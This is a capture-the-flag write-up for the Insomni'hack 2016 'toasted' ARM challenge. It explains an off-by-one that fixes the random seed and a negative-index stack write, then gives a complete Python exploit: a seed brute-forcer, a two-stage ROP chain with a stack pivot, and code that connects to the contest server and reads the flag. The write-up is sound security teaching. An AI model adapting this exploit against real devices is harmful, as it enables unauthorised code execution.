Insomni'hack Teaser 2016: pwn250 "toasted"

This painful task simulates an embedded toaster firmware that you have to pwn by using the random generator output. The used architecture is ARMv7.

Spotting the bugs

We are given a compiled executable toasted that is statically linked but (thankfully) includes symbol names. The two main functions open /dev/urandom to generate a ghetto-version of a stack cookie as well as the seed used for srandom. The smart toaster will only let you in if you supply the correct password and then lets you toast bread in one of its 256 slots:

int main(int argc, const char **argv, const char **envp)
{
    int seed, debug;
    char bread[256];
    char pass[32];
    int fd, cookie;

    debug = 0;
    setvbuf(stdout, 0, 2, 0);
    memset(bread, 0, 256);
    if (argc > 1)
        debug = 1;
    fd = open("/dev/urandom", 0);
    read(fd, (unsigned __int8 *)&gcanary, 4u);
    cookie = gcanary;
    puts("Welcome to Internet of Toaster!\n" \
         "Featuring \"Random Heat Distribution\" (patent pending)");
    checkpass(pass);
    printf("This next-gen toaster allows for %d slices of bread !\n", 256);
    puts("It also has a small tank of replacement bread if you burn one, " \
         "which is a huge improvement over the netbsd-based models!");
    read(fd, (unsigned __int8 *)&seed, 4u);
    srandom(seed);
    handle_bread(bread, debug);
    puts("Well, you've had your toasting frenzy!\nCheers");
    if (cookie != gcanary)
        exit(-1);
    return 0;
}

After a brief search we spot two bugs within the firmware. One is a off-by-one error in checkpass:

int checkpass(char *passbuf)
{
    int cookie, len;

    cookie = gcanary;
    printf("Passphrase : ");
    len = read(0, passbuf, 0x20u);
    if (len < 0)
        exit(-1);
    passbuf[len] = 0;
    if (strcmp(gpassw, passbuf)) {
        puts("Access denied!\nNo toast today :-(");
        exit(-1);
    }
    if (cookie != gcanary)
        exit(0);
    return puts("Access granted!");
}

The passed buffer (passbuf) resides in main’s stack frame and only has a length of 32 bytes. If read reads the full 0x20 bytes, len will become 0x20 and what intended to be a forced zero-termination of the string (passbuf[len] = 0) turns into a zero byte overwrite of the byte behind the buffer. Looking into the main stack frame we see that the next variable behind pass buffer is fd. This effectively lets us control seed as its value is not read from the fd of /dev/urandom but from fd = 0 (stdin). Satisfying the strcmp is not a huge problem as gpassw is hard-coded to How Large Is A Stack Of Toast?\n.

Fine. We can control the “randomness” from here on, but this alone doesn’t help us much. Remember the task description said we should make the firmware directly read in a file called /flag. Let’s see what role the randomness plays in the process of toasting bread. :)

int handle_bread(unsigned __int8 *bread, int dbg)
{
    int ret, num;
    unsigned int uinput, transrand;
    int cookie, i;

    i = 0;
    cookie = gcanary;
    do
    {
        if (overheat == 4)
            return puts("The bread reserve tank is empty... Quitting");
        if (dbg) {
            puts("Bread status: ");
            show_bread(bread);
        }
        puts("Which slice do you want to heat?");
        ret = read(0, (unsigned __int8 *)&uinput, 4);
        if ((unsigned __int8)uinput == 'q' || (unsigned __int8)uinput == 'x')
            return ret;
        ret = sscanf(&uinput, "%d", &num);
        if (ret && num <= 255) {
            printf("Toasting %d!\n", num);
            transrand = bread[num] + rand() % 256;
            if (transrand <= 256) {
                bread[num] = transrand;
            } else {
                puts("Detected bread overheat, replacing");
                bread[num] = 0;
                ++overheat;
            }
            ++i;
        }
    }
    while (i <= 259);
    if (cookie != gcanary)
        exit(-1);
    return ret;
}

The toast loop basically asks for a slice number smaller than 256 to toast and adds a random value to the corresponding byte in the bread array. If we cross a 8bit boundary at any time, this is counted as overheating and the slot is reset to 0. If we overheat the toaster more than four times we get kicked out. The mistake in this code is again easy to spot: While there is an upper boundary to the slice number, the device forgets to check that the supplied number is actually positive. This gives us an arbitrary increment of the bytes residing before the bread array (at lower addresses). Because the bread array is also allocated on the stack frame of the main function, we “control” the return address on the stack. Note the quotes though, as we are only able to add random values to the return address.

Defeating the randomness

While identifying the bugs was only a matter of minutes, we got stuck performing the actual exploitation for a very long time. As explained earlier, we control the seed for the random number generator and therefore the values returned by rand() become completely deterministic. A huge problem for exploitation is the while (i <= 259) part that forces all bytes of our rop chain / shellcode to be generated by at most 260 calls to rand(). This probability significantly decreases with increasing rop chain / shellcode length. To give you a brief summary of our failures:

  1. Try to write your shellcode on the stack and fail, because it is simply too long to occur in the rand() sequence when bruteforcing the seed
  2. Shorten your shellcode such that it would simply read in a second stage and fail because you didn’t expect qemu to have ASLR
  3. Abuse a pointer residing on the stack, try to make it point to the beginning of your shortened shellcode by doing a partial overwrite and fail, because the pointer only exists on the Raspberry Pi we had been working on, but not in qemu-user
  4. Throw everything away, write a small rop chain calling open, read, write and fail, because it is still too long as you can’t find a matching seed

What actually worked was then the following:

  1. Write a rop chain reading in a new rop chain, stack pivot into the new chain and win

The resulting exploit Python script monster can be found below. The enable_debug function was there for earlier purposes as it provided a comfortable means for checking the current state of the bread by activating debug and calling into main again. Please refer to the inline comments for details on how the exploit works (including the random-bruter/solver).

#!/usr/bin/env python3

import socket
import struct
import subprocess
import time
import copy

p32 = lambda x: struct.pack('<l', x)

def recv_until(s):
    tmp = b''
    while s not in tmp:
        tmp += sock.recv(1)

    return tmp

def enable_debug():
    seed = 0x5fdc
    recv_until(b'Passphrase : ')
    ## pwn check_passphrase
    sock.send(b'How Large Is A Stack Of Toast?\n\x00')
    ## send our own seed
    sock.send(p32(seed))

    recv_until(b'Which slice do you want to heat?')
    sock.send('{:d}\n'.format(-0x14).encode())
    sock.send('{:d}\n'.format(-0x14).encode())
    sock.send('{:d}\n'.format(-0x13).encode())
    sock.send('{:d}\n'.format(-0x13).encode())
    sock.send('{:d}\n'.format(-0x4).encode())

    ## trigger 1-gadget rop chain to call main again
    recv_until(b'Which slice do you want to heat?')
    sock.send(b'x\n')

pop_3_7f = 0x0a9c9
pop_r04f = 0x10a8c
pop_r7pc = 0x08ccb
pop_r1pc = 0x4ad0b
pop_r23  = 0x4acfb
set_regs = 0x328bc
bss_flag = 0x6bf00
txt_read = 0x11730
txt_open = 0x11610
txt_writ = 0x2c3f0
set_stck = 0x08cc9

"""
stage 1 rop chain, small enough to comply to the rules of the rand() game
"""
pwn = b''
## Return address of the current stack frame is -0x14 bytes from the bread.
## Skip over the values between the underflowing buffer and the return address
## as they contain varying values. Hey, we get 0s for free, so who cares anyway?
pwn += p32(pop_3_7f)
pwn += p32(0)
pwn += p32(0)
pwn += p32(0)
pwn += p32(0)
pwn += p32(0)

pwn += p32(pop_r04f)      ## set r0 to point to the next gadget (see below)
pwn += p32(txt_read)      ## we want to call read() (thx for linking statically!)
pwn += p32(0)             ## r4 (don't care)
pwn += p32(set_regs)      ## this beaty is a mov r12, r0; pop {r0-r4, lr}; bx r12
                          ## and also the reason why we have to set r0 before.
                          ## pop_r04f and set_regs together provide a perfect
                          ## primitive to call arbitrary functions with arbitrary
                          ## parameters
pwn += p32(0)             ## r0 (stdin)
pwn += p32(bss_flag)      ## r1 (some r/w address to place our new rop chain)
pwn += p32(0x300)         ## r2 (0x300 because 0x1 and 0x2 didn't occor in the
                          ## rand() sequence ;)
pwn += p32(0)             ## r3 (don't care)
pwn += p32(0)             ## r4 (don't care)

## Fuck this shit, we stackpivot!
pwn += p32(pop_r7pc)      ## pop {r7, pc}
pwn += p32(bss_flag)      ## location of our new stack
pwn += p32(set_stck)      ## mov sp, r7; pop {r7, pc}

## Wheeee, finally, a rop chain without the silly rand() <3
## The next two gadgets are poped by the gadget above, already using the new
## stack. (potential pitfall ;) )
stage2 = b''
stage2 += p32(bss_flag)   ## new r7 (fptr)
stage2 += p32(pop_r04f)   ## use our set r0; set regs; call libfunc again
stage2 += p32(txt_read)   ## we want a read() again to read in the filename
stage2 += p32(0)
stage2 += p32(set_regs)
stage2 += p32(0)          ## r0 (stdin)
stage2 += p32(bss_flag)   ## r1 (overwrite the beginning of the chain with the
                          ## filename we want to read, we don't need it anymore)
stage2 += p32(0x6)        ## r2 (len)
stage2 += p32(0)          ## r3 (don't care)
stage2 += p32(0)          ## r4 (don't care)
stage2 += p32(pop_r04f)   ## lr (next gadget)
stage2 += p32(txt_open)   ## now call open with the filename we just read in
stage2 += p32(0)          ## r4 (don't care)
stage2 += p32(set_regs)
stage2 += p32(bss_flag)   ## r0 (filename)
stage2 += p32(0)          ## r1 (flags O_RDONLY, pls don't get killed because
                          ## the flag file might potentially not be writable ;) )
stage2 += p32(0)          ## r2 (don't care)
stage2 += p32(0)          ## r3 (don't care)
stage2 += p32(0)          ## r4 (don't care)
stage2 += p32(pop_r1pc)   ## lr (set ONLY r1 this time, as r0 now contains the
                          ## fd of the newly opened file. We could hard code it
                          ## to 4, but it doesn't make our life much worse to
                          ## keep it dynamic.)
stage2 += p32(bss_flag)   ## r1 (overwrite the filename with the file contents)
stage2 += p32(pop_r23)    ## set r2 and r3 without touching r0 for the same rason
stage2 += p32(0x40)       ## r2
stage2 += p32(0)          ## r3
stage2 += p32(bss_flag)   ## r1
stage2 += p32(txt_read)   ## read in flag !!! :)
stage2 += p32(bss_flag)   ## r1
stage2 += p32(pop_r04f)
stage2 += p32(txt_writ)   ## and plz also send it to us ._.
stage2 += p32(0)
stage2 += p32(set_regs)   ## awesome primitive (see above) for the last time
stage2 += p32(1)          ## r0 socket
stage2 += p32(bss_flag)   ## r1 flagaddr
stage2 += p32(0x40)       ## r2 len
stage2 += p32(0)          ## r3
stage2 += p32(0)          ## r4
stage2 += p32(pop_r04f)   ## lr (next gadget)

pwn = bytearray(pwn)


## Now, on to the random cracking. In principle we know how the memory looks
## like at the time of the overflow: At bread-0x14 we have the return address
## that points to 0x8c93 which we want to overwrite with the first gadget of
## stage1. The four 32bit int between bread-0x10 and bread-0x0 we consider
## "unstable" and are therefore poped by the first gadget. Everything within
## bread is zero (that's also why we wrote "zeroes are for free" above). So, to
## account for the initial values in RAM, we only have to adjust the first two
## bytes of our rop chain:

pwn[0] -= 0x93
pwn[1] -= 0x8c

## The following is a brute forcer that basically just looks for a seed that
## produces all bytes that we need for stage 1. Please note that our python
## skillz usually are not as sucky as below but you know ... in the heat of the
## moment, you don't actually care to write beautiful code rather than an ugly,
## just-damn-work-exploit. :)

pos = {i: [] for i in range(0x100) }
cs = bytearray(0x100)
for i, b in enumerate(pwn):
    if b == 0: continue
    cs[b] += 1
    pos[b].append(i)

pos = dict((k, v) for k, v in pos.items() if v)

print("\x1b[39m[+] Searching suited seed ...")
seed = 0x232d
mindiff = 1000
idx = {}

for seed in range(seed, 0x10000):
    print('[.] Trying 0x{:x} ... '.format(seed), end='')
    ## fyi, ./rand is just a compiled C helper program that spits out the 259
    ## glibc random values that will be produced for a certain seed (argv[1])
    ## #define _DEFAULT_SOURCE
    ##
    ## #include <stdio.h>
    ## #include <stdlib.h>
    ##
    ## int main(int argc, char **argv)
    ## {
    ##     if (argc != 2)
    ##         return -1;
    ##     srandom(atoi(argv[1]));
    ##     for (int i = 0; i < 259; i++)
    ##         printf("%x ", rand());
    ##     puts("");
    ## }
    p = subprocess.Popen(['./rand', str(seed)], stdout=subprocess.PIPE)
    rs = list(map(lambda x: int(x, 16) & 0xff, p.stdout.readline().decode().strip().split(' ')))
    maxidx = 0
    tmpcnt = list(cs)
    tmppos = copy.deepcopy(pos)
    idx = {}

    for i, r in enumerate(rs):
        if tmpcnt[r] > 0:
            idx[i] = tmppos[r][0]
            tmppos[r] = tmppos[r][1:]
            maxidx = max(i, maxidx)
            tmpcnt[r] -= 1

    mindiff = min(sum(tmpcnt), mindiff)
    print('diff is {} mindiff is {} (missing '.format(sum(tmpcnt), mindiff), end='')
    for i, t in enumerate(tmpcnt):
        if t > 0:
            print('{:x} '.format(i), end='')
    print(')')
    ## We found a seed, stop right here!
    if sum(tmpcnt) == 0: break

print('[+] Found seed 0x{:x} (maxidx {})!'.format(seed, maxidx))
print('[+] Exploiting ...')

## Yay, we now have a dict (idx) from rop chain offsets (spatial domain) to
## offsets in the chain of values produces by the rand() chain (time domain).
## Use this to "program" the toaster at the remote end

sock = socket.socket()
sock.connect(('toasted.insomnihack.ch', 7200))

recv_until(b'Passphrase : ')
## pwn check_passphrase (off by one)
sock.send(b'How Large Is A Stack Of Toast?\n\x00')
## send our own seed
sock.send(p32(seed))

i = 0

## Yeaaah, the rubbush thingy ... We need this one to "equally" distribute the
## garbage values that the rand() chain produces but we don't need for our rop
## chain on the second half of the bread array. (Stage1 fits into less than 64
## bytes, the offset is chosen more or less arbitrarily.)
ruboff = 64
rubbish = [ 0 for _ in range(128) ]

## While there's sill something important missing from our rop chain
while len(idx) > 0:
    recv_until(b'Which slice do you want to heat?')
    if len(idx) > 0 and i in idx:
        print('\x1b[32m0x{:02x} -> 0x{:02x}\x1b[39m'.format(idx[i], rs[i]))
        ## Subtract -0x14 because our rop chain starts there (see above)
        sock.send('{:d}\n'.format(idx[i] - 0x14).encode())
        idx.pop(i, None)
    else:
        ## If we don't need the value for the chain, write it into the "rubbish"
        ## part of the bread array at a spot where it doesn't cause the toaster
        ## to overheat (freaking annoying, sadists they are -.-" )
        for j, rub in enumerate(rubbish):
            if rub + rs[i] < 0x100:
                break
        rubbish[j] += rs[i]
        print('\x1b[31m0x{:02x} -> 0x{:02x}\x1b[39m'.format(ruboff + j, rs[i]))
        sock.send('{:d}\n'.format(ruboff + j).encode())
    i += 1


## trigger rop chain
recv_until(b'Which slice do you want to heat?')
sock.send(b'x\n')

## The rop chain asks for more input that it will switch control to, so we
## gracefully feed it our second stage. :)
sock.send(stage2)
input("[+] Sent stage2. Waiting for key press ...")
time.sleep(1)
## The second stage asks for the name of the file whose contents you want to
## have delivered. We prefer to get the flag, this time. :)
sock.send(b'/flag\x00')
## Leave the network some time ..
time.sleep(1)
## ... and print the file contents.
print(sock.recv(128))
## flag: INS{_-n0_pa1n_n0_ga1n-_}
## :))))